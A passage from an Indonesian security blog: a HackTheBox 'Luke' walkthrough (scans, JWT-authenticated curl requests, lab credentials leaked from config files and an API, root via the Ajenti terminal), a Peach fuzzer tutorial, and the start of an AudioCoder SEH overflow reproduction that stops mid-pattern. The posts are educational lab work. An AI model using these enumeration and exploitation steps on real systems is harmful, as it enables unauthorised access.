Не важно, как медленно ты продвигаешься, главное, что ты не останавливаешься.


Thursday 19 September 2019

HackTheBox - Luke

Image result for hackthebox


Summary

Luke merupakan box berbasis FreeBSD yang berisi beberapa service yang berjalan, diantaranya SSH, FTP, dan web service yang perjalan pada port 80,3000, dan 8000. Pada ke-tiga web server tersebut, berisi 3 web aplikasi yang berbeda, PHP, nodejs, dan Anjeti. Untuk mendapatkan akses ke console, peserta harus mencari credential untuk login ke dalam Anjeti, kemudian menjalankan terminal yang ada pada Anjeti. Sayangnya, pada box ini tidak diperlukan privilege escalation (karena sudah root) sehingga untuk token user dan token root dapat diakses dengan terminal yang ada pada Anjeti.

Apa yang dipelajari dari Box ini?

Meskipun tidak ada proses privilege escalation seperti box-box lainnya, ada beberapa hal yang menarik dari box ini, diantaranya:
  • Enumeration
  • JWT (JSON Web Token)

Technical Detail

Tahapan pertama yang dilakukan adalah pencarian informasi menggunakan NMAP untuk mengetahui service yang berjalan pada box ini.

[𝝺] nmap -sV -Pn 10.10.10.137

Starting Nmap 7.60 ( https://nmap.org ) at 2019-07-15 08:11 WIB
Stats: 0:00:45 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 80.00% done; ETC: 08:12 (0:00:04 remaining)
Nmap scan report for 10.10.10.137
Host is up (0.17s latency).
Not shown: 994 closed ports
PORT     STATE    SERVICE        VERSION
21/tcp   open     ftp            vsftpd 3.0.3+ (ext.1)
22/tcp   open     ssh?
80/tcp   open     http           Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
3000/tcp open     http           Node.js Express framework
4000/tcp filtered remoteanything
8000/tcp open     http           Ajenti http control panel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 183.22 seconds
[𝝺] nmap -sV -Pn 10.10.10.137 --script=vuln

Starting Nmap 7.60 ( https://nmap.org ) at 2019-07-15 08:26 WIB
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 10.10.10.137
Host is up (0.18s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3+ (ext.1)
|_sslv2-drown: 
22/tcp   open  ssh?
80/tcp   open  http    Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /login.php: Possible admin folder
|   /css/: Potentially interesting folder w/ directory listing
|   /js/: Potentially interesting folder w/ directory listing
|   /management/: Potentially interesting folder (401 Unauthorized)
|   /member/: Potentially interesting folder w/ directory listing
|_  /vendor/: Potentially interesting folder w/ directory listing
| http-fileupload-exploiter: 
|   
|     Couldn't find a file-type field.
|   
|     Couldn't find a file-type field.
|   
|     Couldn't find a file-type field.
|   
|     Couldn't find a file-type field.
|   
|     Couldn't find a file-type field.
|   
|_    Couldn't find a file-type field.
|_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-trace: TRACE is enabled
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
3000/tcp open  http    Node.js Express framework
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /login/: Login page
|_  /users/: Potentially interesting folder
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2015-1427: ERROR: Script execution failed (use -d to debug)
8000/tcp open  http    Ajenti http control panel
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.137
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://10.10.10.137:8000/
|     Form id: license-company
|     Form action: /ajenti:auth
|     
|     Path: http://10.10.10.137:8000/#
|     Form id: license-company
|     Form action: /ajenti:auth
|     
|     Path: http://10.10.10.137:8000/ajenti:auth
|     Form id: license-company
|_    Form action: /ajenti:auth
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1177.12 seconds

Port 80



Dari script vuln yang terdapat pada nmap, sudah mulai terlihat direktori apa saja yang terdapat pada box ini. Untuk menambah referensi, digunakan dirseach pada web yang berjalan di port 80.

[08:31:07] 200 -  202B  - /config.php
[08:31:10] 301 -  232B  - /css  ->  http://10.10.10.137/css/
[08:31:22] 200 -    1KB - /gulpfile.js
[08:31:30] 200 -    3KB - /index.html
[08:31:32] 301 -  231B  - /js  ->  http://10.10.10.137/js/
[08:31:35] 200 -    1KB - /LICENSE
[08:31:39] 200 -    2KB - /login.php
[08:31:43] 401 -  381B  - /management
[08:31:43] 401 -  381B  - /management/
[08:31:45] 301 -  235B  - /member  ->  http://10.10.10.137/member/
[08:31:45] 200 -  216B  - /member/
[08:31:52] 200 -    1KB - /package.json
[08:32:03] 200 -    4KB - /README.md

Terdapat 3 hal penting yang ada pada aplikasi ini, 
  • config.php, berisi file config database.
  • login.php, halaman login website.
  • /management, dengan kode 401 (Unauthorized).
Isi dari config.php

$dbHost = 'localhost';
$dbUsername = 'root';
$dbPassword = ' ';
$db = "login";

$conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or die("Connect failed: %s\n". $conn -> error);

Port 3000

Response dari web ketika diakses berupa JSON, dibuat menggunakan node.js Express framework (dari NMAP). Sepertinya, dibutuhkan sebuah token untuk mengakses web service yang berjalan.


Port 8000

Terdapat web service berupa Anjeti, tidak banyak informasi pada web ini, hanya terdapat halaman login Anjeti.


JSON Web Token (JWT)

Setelah pencarian beberapa lama, service yang berjalan pada port 3000 menggunakan JWT sebagai otentikasinya, kira-kira prosesnya seperti ini.

https://medium.com/@raul_11817/securing-golang-api-using-json-web-token-jwt-2dc363792a48

Diperlukan username dan password, untuk request auth-token yang valid. Ketika username dan password dinyatakan valid, server akan memberikan token kepada client. Kemudian token inilah yang digunakan client untuk mengakses server.

Pada kasus ini, username dan password yang didapat dari proses enumerasi berupa username dan password database. Selain itu, saya tidak mendapatkan informasi yang penting mengenai credential. Akhirnya, saya mencoba kombinasi username (root,admin,dll) dengan password Zk6heYCyv6ZE9Xcg -- terdapat pada config.php. Ternyata username yang valid adalah admin. Proses otentikasi dilakukan menggukan curl.

[𝝺] curl --header "Content-Type: application/json" --request POST --data '{"username":"admin","password":"Zk6heYCyv6ZE9Xcg"}' http://10.10.10.137:3000/login
{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYzMTYwNDYzLCJleHAiOjE1NjMyNDY4NjN9.aext1-fGR6XCnP9visqrobYGe-XrJozp5j04LZZJphM"}

Setelah mendapatkan token, kembali melakukan request dengan header yang berisi token tersebut, responsenya seperti ini.

[𝝺] curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYzMTYwNDYzLCJleHAiOjE1NjMyNDY4NjN9.aext1-fGR6XCnP9visqrobYGe-XrJozp5j04LZZJphM' http://10.10.10.137:3000
{"message":"Welcome admin ! "}

Langkah selanjutnya, menjalankan dirsearch dengan header berisi token yang valid, hasilnya ada beberapa direktori dengan response code 200.

[10:25:31] Starting: 
[10:26:54] 200 -   13B  - /login
[10:26:54] 200 -   13B  - /Login
[10:26:54] 200 -   13B  - /login/
[10:27:34] 200 -  181B  - /users
[10:27:34] 200 -  181B  - /users/
[10:27:34] 200 -   45B  - /users/admin

Secara manual, kembali melakukan pengecekan menggunakan curl, berikut beberapa potongan informasi yang didapat.

[𝝺] curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYzMTYwNDYzLCJleHAiOjE1NjMyNDY4NjN9.aext1-fGR6XCnP9visqrobYGe-XrJozp5j04LZZJphM' http://10.10.10.137:3000/users/
[{"ID":"1","name":"Admin","Role":"Superuser"},{"ID":"2","name":"Derry","Role":"Web Admin"},{"ID":"3","name":"Yuri","Role":"Beta Tester"},{"ID":"4","name":"Dory","Role":"Supporter"}
[𝝺] curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYzMTYwNDYzLCJleHAiOjE1NjMyNDY4NjN9.aext1-fGR6XCnP9visqrobYGe-XrJozp5j04LZZJphM' http://10.10.10.137:3000/users/admin
{"name":"Admin","password":"WX5b7)>/rp$U)FW"}
[𝝺] curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYzMTYwNDYzLCJleHAiOjE1NjMyNDY4NjN9.aext1-fGR6XCnP9visqrobYGe-XrJozp5j04LZZJphM' http://10.10.10.137:3000/users/derry
{"name":"Derry","password":"rZ86wwLvx7jUxtch"}
[𝝺] curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYzMTYwNDYzLCJleHAiOjE1NjMyNDY4NjN9.aext1-fGR6XCnP9visqrobYGe-XrJozp5j04LZZJphM' http://10.10.10.137:3000/users/yuri
{"name":"Yuri","password":"bet@tester87"}
[𝝺] curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYzMTYwNDYzLCJleHAiOjE1NjMyNDY4NjN9.aext1-fGR6XCnP9visqrobYGe-XrJozp5j04LZZJphM' http://10.10.10.137:3000/users/dory
{"name":"Dory","password":"5y:!xa=ybfe)/QD"}

Dari informasi diatas, user Derry memiliki role sebagai web admin kemungkinan ia memiliki akses ke dalam web aplikasi yang ada. Setelah mencoba login pada halaman web yang ada, user Derry bisa login kedalam http://10.10.10.137/management/. Pada file config.json berisi konfigurasi anjeti yang bisa digunakan untuk login kedalam port 8000.

{
    "users": {
        "root": {
            "configs": {
                "ajenti.plugins.notepad.notepad.Notepad": "{\"bookmarks\": [], \"root\": \"/\"}", 
                "ajenti.plugins.terminal.main.Terminals": "{\"shell\": \"sh -c $SHELL || sh\"}", 
                "ajenti.plugins.elements.ipmap.ElementsIPMapper": "{\"users\": {}}", 
                "ajenti.plugins.munin.client.MuninClient": "{\"username\": \"username\", \"prefix\": \"http://localhost:8080/munin\", \"password\": \"123\"}", 
                "ajenti.plugins.dashboard.dash.Dash": "{\"widgets\": [{\"index\": 0, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.MemoryWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.SwapWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.dashboard.welcome.WelcomeWidget\"}, {\"index\": 0, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.uptime.UptimeWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.power.power.PowerWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.cpu.CPUWidget\"}]}", 
                "ajenti.plugins.elements.shaper.main.Shaper": "{\"rules\": []}", 
                "ajenti.plugins.ajenti_org.main.AjentiOrgReporter": "{\"key\": null}", 
                "ajenti.plugins.logs.main.Logs": "{\"root\": \"/var/log\"}", 
                "ajenti.plugins.mysql.api.MySQLDB": "{\"password\": \"\", \"user\": \"root\", \"hostname\": \"localhost\"}", 
                "ajenti.plugins.fm.fm.FileManager": "{\"root\": \"/\"}", 
                "ajenti.plugins.tasks.manager.TaskManager": "{\"task_definitions\": []}", 
                "ajenti.users.UserManager": "{\"sync-provider\": \"\"}", 
                "ajenti.usersync.adsync.ActiveDirectorySyncProvider": "{\"domain\": \"DOMAIN\", \"password\": \"\", \"user\": \"Administrator\", \"base\": \"cn=Users,dc=DOMAIN\", \"address\": \"localhost\"}", 
                "ajenti.plugins.elements.usermgr.ElementsUserManager": "{\"groups\": []}", 
                "ajenti.plugins.elements.projects.main.ElementsProjectManager": "{\"projects\": \"KGxwMQou\\n\"}"
            }, 
            "password": "KpMasng6S5EtTy9Z", 
            "permissions": []
        }
    }, 
    "language": "", 
    "bind": {
        "host": "0.0.0.0", 
        "port": 8000
    }, 
    "enable_feedback": true, 
    "ssl": {
        "enable": false, 
        "certificate_path": ""
    }, 
    "authentication": true, 
    "installation_id": 12354
}

username : root
password : KpMasng6S5EtTy9Z



Username dan password yang didapat dari file config.json bisa digunakan untuk login kedalam anjeti, terdapat menu terminal yang bisa menjalankan perintah pada box ini. Untungnya, privilege yang didapat merupakan root sehingga tidak diperlukan privilege escalation pada box ini.


Kesimpulan

Pada prosesnya, ada beberapa langkah pada box ini yang terkesan 'mengawang' sehingga beberapa orang di forum hackthebox sedikit kebigungan. Bagaimanapun,  

5 λ .: 2019 Summary Luke merupakan box berbasis FreeBSD yang berisi beberapa service yang berjalan, diantaranya SSH, FTP, dan web service yang ...

Saturday 22 June 2019

File Fuzzing menggunakan Peach



Percobaan kali ini adalah file fuzzing menggunakan peach, merupakan fuzzer yang dapat melakukan file fuzzing maupun network fuzzing. Untuk lebih lengkapnya, dapat disimak pada website resmi peach.

Instalasi Peach pada Windows

Proses instalasi peach fuzzer ini cukup mudah, hanya memerlukan Microsoft .NET 4 Runtime dan Windows debugging tools (windbg) yang dapat didownload pada website resmi Microsoft.


Selain di sistem operasi Windows, Peach juga berjalan pada OS X dan Linux. Untuk percobaan kali ini, sistem operasi yang digunakan adalah Windows. Setelah tools diatas terpasang, download peach pada link ini.

Peach Pit

Peach pit merupakan sebutan untuk file konfigurasi Peach berupa XML, file ini dibutuhkan saat menjalankan Peach. File konfigurasi terbagi menjadi beberapa bagian:

  • Data Model, merupakan konfigurasi file yang akan dibentuk oleh peach, file ini akan digunakan pada proses fuzzing terjadi.
  • State Model, merupakan alur dari proses yang akan dijalankan oleh peach, misalnya langkah pertama peach akan membuat file dari data model yang dibuat, kemudian menutup file, dan langkah terakhir menjalankan file tersebut sebagai input pada proses fuzzing.
  • Agents, pada saat proses fuzzing berlangsung, Peach menjalankan sebuah agent, baik secara local maupun remote. Pada bagian ini, agent akan berjalan sesuai dengan konfigurasi ini. Agent inilah yang akan melakukan monitoring terhadap perilaku pada saat fuzzing berlangsung.
  • Test Block, merupakan konfigurasi yang berisi data model, state model, dan agent yang telah dikonfigurasi sebelumnya.
Sebagai contoh, pada percobaan kali ini saya menggunakan vuplayer pada windows 7.  File yang akan digenerate oleh peach berupa file .m3u, untuk konfigurasi lengkapnya, dapat dilihat dibawah ini.
<?xml version="1.0" encoding="utf-8"?>
<Peach xmlns="http://peachfuzzer.com/2012/Peach" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://peachfuzzer.com/2012/Peach ../peach.xsd">
 
 <!-- Define our file format DDL -->
 <DataModel name="dumbm3u">
  <String name="header1" value="M3U\n" mutable="false"/>
  <String name="header2" value="#EXTM3U\n" mutable="false"/>
  <String name="header3" value="#EXTINF:123, Sample - title\n" mutable="false"/>
  <String name="header4" value="C:\" mutable="false"/>
  <String name="mutated" value="hello" mutable="true"/>
 </DataModel>
 
 <!-- Define a simple state machine that will write the file and 
  then launch a program using the FileWriterLauncher publisher -->
 <StateModel name="State" initialState="Initial">
  <State name="Initial">

   <!-- Write out contents of file -->
   <Action type="output">
    <DataModel ref="dumbm3u" />
   </Action>
   
   <!-- Close file -->
   <Action type="close" />
   
   <!-- Launch the file consumer -->
   <Action type="call" method="launchProgram" publisher="Peach.Agent"/>
  </State>
 </StateModel>
 
 <!-- Setup a local agent that will monitor for faults -->
 <Agent name="WinAgent">
  <Monitor class="WindowsDebugger">
   
   <!-- The command line to run.  Notice the filename provided matched up 
    to what is provided below in the Publisher configuration -->
   <Param name="CommandLine" value="C:\Program Files\VUPlayer\VUPlayer.exe fuzzedfile.m3u" />
   <Param name="WinDbgPath" value="C:\Program Files\Windows Kits\10\Debuggers\x86"/>
   <!-- This parameter will cause the debugger to wait for an action-call in
    the state model with a method="notepad.exe" before running
    program.  -->
   <Param name="StartOnCall" value="launchProgram" />
  </Monitor>
  
  <!-- Enable heap debugging on our process as well. -->
  <Monitor class="PageHeap">
   <Param name="Executable" value="VUPlayer.exe"/>
   <Param name="WinDbgPath" value="C:\Program Files\Windows Kits\10\Debuggers\x86"/>
  </Monitor>
 </Agent>
 
 <Test name="Default">
  <Agent ref="WinAgent" platform="windows"/>
  
  <StateModel ref="State"/>
  
  <!-- Configure our publisher with correct filename to write too -->
  <Publisher class="File">
   <Param name="FileName" value="fuzzedfile.m3u" />
  </Publisher>

  <Strategy class="Random"/>

  <Logger class="Filesystem">
   <Param name="Path" value="Logsx" />
  </Logger>
 </Test>

</Peach>
<!-- end -->

File diatas merupakan template yang berada pada folder peach\sample dengan sedikit penyesuaian. Pada bagian ini saya akan menjelaskan file konfigurasi yang telah dibuat.

Data Model
<DataModel name="dumbm3u">
  <String name="header1" value="M3U\n" mutable="false"/>
  <String name="header2" value="#EXTM3U\n" mutable="false"/>
  <String name="header3" value="#EXTINF:123, Sample - title\n" mutable="false"/>
  <String name="header4" value="C:\" mutable="false"/>
  <String name="mutated" value="hello" mutable="true"/>
</DataModel>
Pada bagian ini, user menentukan bentuk file yang akan digenerate. Untuk kasus ini data model diberi nama dumbm3u, nama ini bisa diganti sesuai dengan keinginan user. Pembentukan file m3u dapat merujuk kepada https://en.wikipedia.org/wiki/M3U, maka file yang akan dibentuk berisi header kemudian lokasi file. Karena header bersifat statik, maka pada opsi mutable bernilai false. Pada kondisi mutable bernilai true, Peach akan memutasi string sesuai dengan algoritma yang disediakan.

State Model
<StateModel name="State" initialState="Initial">
  <State name="Initial">
   <!-- Write out contents of file -->
   <Action type="output">
    <DataModel ref="dumbm3u" />
   </Action>
   <!-- Close file -->
   <Action type="close" />
   <!-- Launch the file consumer -->
   <Action type="call" method="launchProgram" publisher="Peach.Agent"/>
  </State>
</StateModel>
Alur dari program ketika fuzzing berjalan, dikonfigurasi pada bagian state model. Pada kasus ini, alur yang akan dijalani yaitu, 
  • Generate file dengan data model dumbm3u.
  • Menutup file.
  • Mengirim file ke peach agent untuk kemudian dieksekusi sesuai dengan konfigurasi pada bagian agent.
Agent
<Agent name="WinAgent">
  <Monitor class="WindowsDebugger">
   
   <!-- The command line to run.  Notice the filename provided matched up 
    to what is provided below in the Publisher configuration -->
   <Param name="CommandLine" value="C:\Program Files\VUPlayer\VUPlayer.exe fuzzedfile.m3u" />
   <Param name="WinDbgPath" value="C:\Program Files\Windows Kits\10\Debuggers\x86"/>
   <!-- This parameter will cause the debugger to wait for an action-call in
    the state model with a method="notepad.exe" before running
    program.  -->
   <Param name="StartOnCall" value="launchProgram" />
  </Monitor>
  
  <!-- Enable heap debugging on our process as well. -->
  <Monitor class="PageHeap">
   <Param name="Executable" value="VUPlayer.exe"/>
   <Param name="WinDbgPath" value="C:\Program Files\Windows Kits\10\Debuggers\x86"/>
  </Monitor>
 </Agent>
Bagian ini berisi konfigurasi peach agent berupa kelas-kelas monitor, agent inilah yang akan melaporkan perilaku yang terjadi pada saat proses fuzzing berlangsung. Perhatikan pada bagian WindowsDebugger, karena pada saat proses fuzzing menggunakan windbg sebagai debuggernya, command apa dan windbg path harus disertakan, parameter WinDbgPath bersifat opsional, apabila direktori instalasi windbg berbeda dengan lokasi default, maka parameter ini harus disertakan.

Test
<Test name="Default">
  <Agent ref="WinAgent" platform="windows"/>
  <StateModel ref="State"/>
  
  <!-- Configure our publisher with correct filename to write too -->
  <Publisher class="File">
   <Param name="FileName" value="fuzzedfile.m3u" />
  </Publisher>

  <Strategy class="Random"/>
  <Logger class="Filesystem">
   <Param name="Path" value="Logsx" />
  </Logger>
</Test>
Pada bagian ini, konfigurasi yang sudah di-set akan diterapkan mulai dari agent dan state model. Ada beberapa block baru yang memiliki peranan masing-masing. 
  • Publisher berperan sebagai input/output pada saat fuzzing berlangsung, merujuk pada web resminya ada beberapa publisher yang bisa digunakan, sepert HTTP, console, file, dst. Pada kasus ini kita akan menggunakan file. 
  • Strategy, merupakan metode yang digunakan pada saat fuzzing data model yang memiliki nilai mutable = true, bisa diisi dengan Squential, Random, ataupun RandomDeterministic. 
  • Logger, merupakan lokasi yang digunakan untuk mencatat event yang terjadi pada saat fuzzing, baik berupa waktu pengerjaan maupun crash pada saat fuzzing berlangsung. 

Running

Setelah konfigurasi selesai dilakukan, saatnya menjalankan peach. Jangan lupa run sebagai administrator.
> Peach.exe [file konfigurasi]
Untuk output yang lebih lengkap, dapat menggunakan opsi debug.
> Peach.exe --debug [file konfigurasi]

Jika berhasil, Peach akan berjalan seperti gambar dibawan ini.
 

Log

Log yang akan disimpan pada path yang telah ditentukan, terdapat 2 folder dan file status.txt. File status.txt berisi event yang terjadi pada saat proses fuzzing berlangsung dan juga mencatat waktu pada saat crash terjadi. 
Sementara folder Faults berisi file hasil debug mengunakan windbg yang menurut modul !exploitable pada windbg dapat diexploit. Berisi stacktrace dan payload yang digunakan pada saat crash terjadi.


Penutup  

Sekian artikel ini saya buat, pada percobaan kali ini hanya berlangsung instalasi peach dan menjalankan peach dengan vuplayer sebagai contoh kasusnya, untuk reproduksi crash menjadi exploit mungkin dapat dilanjutkan pada artikel selanjutnya.

Referensi:
5 λ .: 2019 Percobaan kali ini adalah file fuzzing menggunakan peach , merupakan fuzzer yang dapat melakukan file fuzzing maupun network fuzzing. Unt...

Monday 10 June 2019

Reproduce : AudioCoder 0.8.46 - Local Buffer Overflow (SEH)

Reproduce merupakan segmen yang mengulas PoC yang terdapat pada Exploit-DB, sebagai catatan untuk saya khususnya dan para pembaca pada umumnya.

resource : https://www.exploit-db.com/exploits/42385
aplikasi : AudioCoder 0.8.46



Menurut website resminya, AudioCoder merupakan aplikasi yang digunakan untuk convert, enhance baik audio maupun video format. Tampilan aplikasi dapat dilihat pada gambar diatas, buffer overflow akan ter-trigger ketika user memasukkan file pada menu Add [+]. Menurut PoC yang ada, file berupa format m3u dengan besaran buffer sekitar 2572 byte. Untuk proses test, saya menggunakan windows XP SP2 kemungkinan PoC akan disesuaikan dengan kondisi pada saat debugging, karena kode exploit yang didapat, ia menggunakan windows 7.

Pencarian Crash


Seperti biasa, pencarian crash dilakukan dengan menggunakan 'A' pada file yang disimpan dengan format .m3u. Pada percobaan pertama file m3u berisi 'A' * 5000, namun crash tidak terjadi, aplikasi berjalan normal.

 
Menurut PoC yang terdapat pada exploit-db, file m3u yang digunakan terdapat penambahan string 'http://' pada awal junk. 
junk = "http://" + "\x41" * 741

Percobaah kedua, file m3u ditambahkan string 'http://' + 'A' * 5000, pada langkah ini aplikasi crash dan berhasil meng-overwrite SEH.


SEH


Setelah berhasil overwrite SEH pada langkah sebelumnya, pencarian berlanjut dengan menentukan besaran 'junk' sebelum menimpa SEH, proses ini dapat dilakukan dengan menggunakan pattern create yang ada pada mona.py 
!mona pc 5000

Implementasi pattern yang telah dibuat pada kode python:
junk = 'http://'
junk += 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0D